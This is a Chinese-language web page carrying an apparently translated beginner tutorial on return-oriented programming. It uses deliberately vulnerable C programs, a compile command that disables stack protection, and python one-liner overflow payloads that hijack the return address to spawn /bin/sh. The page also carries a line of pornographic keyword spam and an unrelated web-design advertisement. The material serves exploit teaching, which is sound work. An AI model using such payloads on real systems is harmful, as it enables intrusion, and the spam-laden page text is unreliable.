日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
ROP內(nèi)存攻擊技術(shù)入門教程

一、前言

創(chuàng)新互聯(lián)專注于企業(yè)網(wǎng)絡(luò)營(yíng)銷推廣、網(wǎng)站重做改版、保亭黎族網(wǎng)站定制設(shè)計(jì)、自適應(yīng)品牌網(wǎng)站建設(shè)、HTML5建站、購(gòu)物商城網(wǎng)站建設(shè)、集團(tuán)公司官網(wǎng)建設(shè)、外貿(mào)營(yíng)銷網(wǎng)站建設(shè)、高端網(wǎng)站制作、響應(yīng)式網(wǎng)頁(yè)設(shè)計(jì)等建站業(yè)務(wù),價(jià)格優(yōu)惠性價(jià)比高,為保亭黎族等各大城市提供網(wǎng)站開發(fā)制作服務(wù)。

不可否認(rèn)的是,不管是CTF賽事,還是二進(jìn)制漏洞利用的過(guò)程中,ROP都是一個(gè)很基礎(chǔ)很重要的攻擊技術(shù)。

這一段是譯者自己加的,與原文無(wú)關(guān)。

ROP的全稱為Return-oriented programming(返回導(dǎo)向編程),這是一種高級(jí)的內(nèi)存攻擊技術(shù)可以用來(lái)繞過(guò)現(xiàn)代操作系統(tǒng)的各種通用防御(比如內(nèi)存不可執(zhí)行和代碼簽名等)。  

ROP是一種攻擊技術(shù),其中攻擊者使用堆棧的控制來(lái)在現(xiàn)有程序代碼中的子程序中的返回指令之前,立即間接地執(zhí)行精心挑選的指令或機(jī)器指令組。

因?yàn)樗袌?zhí)行的指令來(lái)自原始程序內(nèi)的可執(zhí)行存儲(chǔ)器區(qū)域,所以這避免了直接代碼注入的麻煩,并繞過(guò)了用來(lái)阻止來(lái)自用戶控制的存儲(chǔ)器的指令的執(zhí)行的大多數(shù)安全措施。

因此,ROP技術(shù)是可以用來(lái)繞過(guò)現(xiàn)有的程序內(nèi)部?jī)?nèi)存的保護(hù)機(jī)制的。在學(xué)習(xí)下面的內(nèi)容之前,先確保自己已經(jīng)了解了基本的堆棧溢出的漏洞原理。

二、一個(gè)簡(jiǎn)單的經(jīng)典緩沖區(qū)溢出例子

 
 
 
 
  1. #include  
  2. #include  
  3. void vuln(){ 
  4.    char buffer[10]; 
  5.    read(0,buffer,100); 
  6.    puts(buffer); 
  7. int main() { 
  8.    vuln(); 

這個(gè)程序有明顯的緩沖區(qū)溢出攻擊。在vuln()函數(shù)中設(shè)置了10個(gè)字節(jié)的緩沖區(qū),而我們讀取的字節(jié)高達(dá)100個(gè)字節(jié)。read()的濫用導(dǎo)致了緩沖區(qū)溢出。

我們可以看看vuln函數(shù)調(diào)用時(shí)候,堆棧的情況:

 
 
 
 
  1. ADDRESS       DATA 
  2. 0xbfff0000    XX XX XX XX  <- buffer  
  3. 0xbfff0004    XX XX XX XX  
  4. 0xbfff0008    XX XX XX XX  
  5. 0xbfff000c    XX XX XX XX  
  6. ........ 
  7. 0xbfff0020    YY YY YY YY  <- saved EBP address 
  8. 0xbfff0024    ZZ ZZ ZZ ZZ  <- return address 

當(dāng)緩沖區(qū)填充正確的大小時(shí),可以修改保存的返回地址,允許攻擊者控制EIP,從而允許他執(zhí)行任意任意代碼。

三、緩沖區(qū)溢出防御措施

但是,在現(xiàn)代的系統(tǒng)中,有一些防御措施可以避免被攻擊:

  • ALSR
  • Stack Canaries
  • NX/DEP

防御措施大概有這些內(nèi)容,原文作者只是簡(jiǎn)單的介紹了一下,如果想更清晰了解,可以參考譯者博客。

1. NX/DEP

DEP表示數(shù)據(jù)執(zhí)行預(yù)防,此技術(shù)將內(nèi)存區(qū)域標(biāo)記為不可執(zhí)行。通常堆棧和堆被標(biāo)記為不可執(zhí)行,從而防止攻擊者執(zhí)行駐留在這些區(qū)域的內(nèi)存中的代碼。

2. ASLR

ASLR表示地址空間層隨機(jī)化。這種技術(shù)使共享庫(kù),堆棧和堆被占用的內(nèi)存的地址隨機(jī)化。這防止攻擊者預(yù)測(cè)在哪里采取EIP,因?yàn)楣粽卟恢浪膼阂庥行лd荷的地址。

3. Stack Canaries

下文簡(jiǎn)稱為:Canary

在這種技術(shù)中,編譯器在堆棧幀的局部變量之后和保存的返回地址之前放置一個(gè)隨機(jī)化保護(hù)值。在函數(shù)返回之前檢查此保護(hù),如果它不相同,然后程序退出。我們可以將它可視化為:

 
 
 
 
  1. ADDRESS       DATA 
  2. 0xbfff0000    XX XX XX XX  <- buffer  
  3. 0xbfff0004    XX XX XX XX  
  4. 0xbfff0008    XX XX XX XX  
  5. 0xbfff000c    CC CC CC CC  <- stack canary 
  6. ........ 
  7. 0xbfff0020    YY YY YY YY  <- saved EBP address 
  8. 0xbfff0024    ZZ ZZ ZZ ZZ  <- return address 

如果攻擊者試圖修改返回地址,Canayr也將不可避免地被修改。因此,在函數(shù)返回之前,檢查這個(gè)Canayr,從而防止利用。

那么我們?nèi)绾卫@過(guò)這些防御措施呢?

四、Return Oritented Programming (ROP編程)

ROP是一個(gè)復(fù)雜的技術(shù),允許我們繞過(guò)DEP和ALSR,但不幸的是(或?qū)τ谟脩魜?lái)說(shuō)幸運(yùn)的是)這不能繞過(guò)Canary,但如果有額外的內(nèi)存泄漏,我們可以通過(guò)泄露,leak canary的值和使用它。

ROP re-uses ,即我們可以重用Bin文件或者Libc文件(共享庫(kù))中的代碼。這些代碼,或者說(shuō)指令,通常被我們稱作“ROP Gadget”。

下文,我們將來(lái)分析一下,一個(gè)特殊的ROP例子,我們稱作Return2PLT。應(yīng)該注意的是,只有l(wèi)ibc基地址被隨機(jī)化,特定函數(shù)從其基地址的偏移總是保持不變。如果我們可以繞過(guò)共享庫(kù)基地址隨機(jī)化,即使ASLR打開,也可以成功利用漏洞程序。

讓我們分析下,下面這個(gè)脆弱的代碼

 
 
 
 
  1. #include  
  2. #include  
  3. #include  
  4. #include  
  5. void grant() { 
  6.    system("/bin/sh"); 
  7. void exploitable() { 
  8.    char buffer[16]; 
  9.    scanf("%s", buffer); 
  10.    if(strcmp(buffer,"pwned") == 0) grant(); 
  11.    else  puts("Nice try\n"); 
  12. int main(){ 
  13.    exploitable(); 
  14.    return 0; 

我們上文說(shuō)了,ROP技術(shù)并不能繞過(guò)Canay保護(hù)措施,所以我們編譯這個(gè)程序的時(shí)候需要關(guān)閉對(duì)戰(zhàn)保護(hù)程序。我們可以利用下面的命令編譯。 

 
 
 
 
  1. $ gcc hack_me_2.c -o hack_me_2 -fno-stack-protector -m32 

五、譯者的程序分析

我先看看代碼,再翻譯作者的文章。我們看到,在exploitable()函數(shù)中,設(shè)置了16字節(jié)的緩沖區(qū),但是值得我們注意的是scanf函數(shù)沒有安全的使用,這導(dǎo)致我們可以寫入超過(guò)16字節(jié),這就導(dǎo)致了緩沖區(qū)溢出的可能。我們用注意到,有個(gè)函數(shù)調(diào)用了sytem("/bin/sh"),這里我們就可以假設(shè),如果我們可以操作函數(shù)調(diào)轉(zhuǎn),去調(diào)用grant()函數(shù),我們就可以拿到shell了。 基本上思路就是這樣的。

讀取程序的內(nèi)存映射,我們可以看到它的棧是只讀/ 不可執(zhí)行的。

六、讓我們嘗試控制EIP

由于scanf不執(zhí)行綁定的check,因此我們可以通過(guò)覆蓋函數(shù)的返回地址來(lái)指向某個(gè)已知位置來(lái)控制EIP。我會(huì)嘗試指向它grant()達(dá)到getshell的目的。我們可以通過(guò)objdum工具,來(lái)獲取grant()的地址。

除了利用objdump來(lái)看,當(dāng)然我們還是可以用IDA查找的。

objdump命令如下

 
 
 
 
  1. $ objdump -d ./hack_me_2 | grep grant 

結(jié)果應(yīng)該看起來(lái)是這樣的

 
 
 
 
  1. 080484cb : 
  2.  8048516:e8 b0 ff ff ff call 80484cb  

接下來(lái)就是寫exp,達(dá)到目的了。

 
 
 
 
  1. $(python -c'print“A”* 28 +“\ xcb \ x84 \ x04 \ x08”' ; cat  - )| ./hack_me_2 

七、這里譯者補(bǔ)充幾點(diǎn)

第一: 為什么是28個(gè)字節(jié)?這個(gè)是需要我們自己去分析的,我們需要計(jì)算兩者直接字節(jié)數(shù)的值,才好控制跳轉(zhuǎn),畢竟本文是基于我們了解緩沖區(qū)溢出知識(shí)后的,如果有疑問,可以留言,或者自尋百度。

第二: 從代碼來(lái)看,我們可以知道原文作者的環(huán)境是基于32位的,所以這里需要了解一下小端的知識(shí)。

運(yùn)行上述代碼之后,我們就可以成功getshell了。

很明顯,大多數(shù)程序不會(huì)為你調(diào)用shell這個(gè)很容易,我們需要修改程序讓demo更貼近現(xiàn)實(shí)一點(diǎn)。

 
 
 
 
  1. #include  
  2. #include  
  3. #include  
  4. #include  
  5. char *shell = "/bin/sh"; 
  6. void grant() { 
  7.    system("cowsay try again"); 
  8. void exploitable() { 
  9.    char buffer[16]; 
  10.    scanf("%s", buffer); 
  11.    if(strcmp(buffer,"pwned") == 0) grant(); 
  12.    else  puts("Nice try\n"); 
  13. int main(){ 
  14.    exploitable(); 
  15.    return 0; 

運(yùn)行先前的exp,我們發(fā)現(xiàn)并沒有g(shù)etshell,那么我們?cè)趺慈フ{(diào)用sysytem(“/bin/sh”)呢?

分析,這次的程序并沒有直接調(diào)用 system("/bin/sh")了,但是漏洞產(chǎn)生的原理和之前的一樣。就不再?gòu)?fù)述了。

八、調(diào)用函數(shù)約定

當(dāng)反匯編我們的代碼看起來(lái)像這樣的:

 
 
 
 
  1. 080484cb : 
  2.  80484cb:55 push%ebp 
  3.  80484cc:89 e5 mov%esp,%ebp 
  4.  80484ce:83 ec 08 sub $ 0x8,%esp 
  5.  80484d1:83 ec 0c sub $ 0xc,%esp 
  6.  80484d4:68 e8 85 04 08 push $ 0x80485e8 
  7. 80484d9:e8 b2 fe ff ff call 8048390 < system @ plt> 
  8.  80484de:83 c4 10 add $ 0x10,%esp 
  9.  80484e1:90 nop 
  10.  80484e2:c9 leave 
  11.  80484e3:c3 ret 
  12. 080484e4 : 
  13.  8048516:e8 b0 ff ff ff call 80484cb  
  14.  804851b:eb 10 jmp 804852d  

讓我們簡(jiǎn)單看看每個(gè)指令的作用。

在可利用的情況下,我們調(diào)用grant()使用指令去做兩件事情,推送下一個(gè)地址0x0804851b到堆棧,并更改EIP為0x080484cb 到grant()所在的地址

 
 
 
 
  1. push   %ebp     
  2. mov %esp,%ebp 

這是函數(shù)的初始化。它為當(dāng)前函數(shù)設(shè)置堆??蚣?。它通過(guò)push之前保存的一堆棧幀的基指針,然后將當(dāng)前基指針更改為堆棧指針($ ebp = $ esp)?,F(xiàn)在grant()可以使用它的棧來(lái)存儲(chǔ)變量和whatnot。

之后,它通過(guò)從esp中減去來(lái)為局部變量分配空間(因?yàn)槎褩T鲩L(zhǎng)),最后0x080485e8在調(diào)用之前將地址壓入堆棧,system()它是指向?qū)⒆鳛閰?shù)傳遞的字符串的指針system(),它有點(diǎn)像

 
 
 
 
  1. system(*0x80485e8) 

最后ret,將保存的 函數(shù)返回地址從堆棧的頂部pop出值到EIP。

九、構(gòu)建我們自己的堆棧幀

我們已經(jīng)看到了當(dāng)函數(shù)被調(diào)用時(shí)堆棧的行為,這意味著

  • 我們可以構(gòu)造我們自己的堆棧幀
  • 控制參數(shù)到我們跳轉(zhuǎn)到的函數(shù)
  • 確定此函數(shù)返回的位置
  • 如果我們控制這兩者之間的堆棧,我們可以控制返回函數(shù)的參數(shù)
  • 通過(guò)ROP鏈接在多個(gè)函數(shù)中跳轉(zhuǎn)

從objdump我們看到“/ bin / sh”的地址是 0x080485E0

 
 
 
 
  1. $ objdump -s -j .rodata hack_me_3 
  2. hack_me_3:     file format elf32-i386 
  3. Contents of section .rodata: 
  4. 80485d8 03000000 01000200 2f62696e 2f736800  ......../bin/sh. 
  5. 80485e8 636f7773 61792074 72792061 6761696e  cowsay try again 
  6. 80485f8 00257300 70776e65 64004e69 63652074  .%s.pwned.Nice t 
  7. 8048608 72790a00 

我們構(gòu)造一個(gè)“假”的堆棧結(jié)構(gòu),然后修改函數(shù)的返回地址,這樣的堆棧結(jié)構(gòu)如下:

 
 
 
 
  1. ADDRESS       DATA 
  2. ........ 
  3.  // exploitable() stack 
  4. 0xbfff0004    80 48 4d 90  <- return address 
  5. // our frame 
  6. 0xbfff0008    41 41 41 41  <- saved return pointer, system() 
  7. 0xbfff000c    08 04 85 E0  <- "/bin/sh" 

所以以,當(dāng)函數(shù)exploitable()返回時(shí),它返回system(),將看到它返回地址為41414141和參數(shù)為“/bin/sh”,這將產(chǎn)生一個(gè)shell,但是當(dāng)它返回時(shí)會(huì)彈出41414141到EIP,它是一個(gè)有效的地址,我們可以ROP連接他們,只要他們不需要參數(shù)。所以,我們最后的利用代碼是:   

 
 
 
 
  1. $(python -c'print“A”* 28 +“\ x90 \ x83 \ x04 \ x08”+“\ x41 \ x41 \ x41 \ x41”+“\ xE0 \ x85 \ x04 \ x08” | ./hack_me_3 

注:本文僅用于交流學(xué)習(xí)與安全研究,請(qǐng)勿對(duì)文中提及的內(nèi)容進(jìn)行惡意使用!本平臺(tái)及作者對(duì)讀者的之后的行為不承擔(dān)任何法律責(zé)任。


網(wǎng)頁(yè)名稱:ROP內(nèi)存攻擊技術(shù)入門教程
瀏覽地址:http://www.dlmjj.cn/article/dhppsei.html